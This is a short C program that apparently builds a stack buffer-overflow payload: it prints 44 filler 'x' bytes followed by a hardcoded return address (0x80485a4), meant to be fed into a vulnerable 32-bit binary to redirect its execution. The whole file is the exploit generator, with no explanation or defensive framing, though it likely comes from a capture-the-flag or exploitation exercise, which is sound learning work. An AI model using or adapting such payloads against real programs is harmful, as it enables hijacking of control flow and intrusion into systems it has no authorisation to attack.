#include <stdio.h>

#define STACK_LENGTH 0x28+4

int main ()
{
  int i;
  char return_address[5];

  *(long *) &return_address[0] = 0x80485a4;

  for (i = 0; i < STACK_LENGTH; i++)
    putchar('x');

  puts(return_address);

  return 0;
}